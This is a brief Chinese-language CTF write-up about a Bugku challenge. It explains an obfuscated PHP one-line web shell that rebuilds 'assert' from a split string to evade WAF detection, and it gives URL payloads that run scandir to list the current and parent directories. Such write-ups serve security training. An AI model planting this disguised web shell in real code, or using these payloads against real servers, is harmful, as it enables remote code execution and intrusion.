CTF之Bugku 过狗的一句话

原理:
利用assert()函数的漏洞----如果参数中返回的是false,报错但继续执行

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

上面是题目提示
explode()会把字符串打散成对应得数组,也就是$poc_2=assert


所以我们在url上提交s参数


http://123.206.87.240:8010/?s=print_r(scandir(’./’))
作用是扫描当前目录下的所有文件
还可以是
http://123.206.87.240:8010/?s=print_r(scandir(’. . /’))(没有空格)
作用是扫描上级目录的文件


一般是用第一个提交后页面就会跳转
比较骚的是我在做的时候并没有
不过学到东西就行了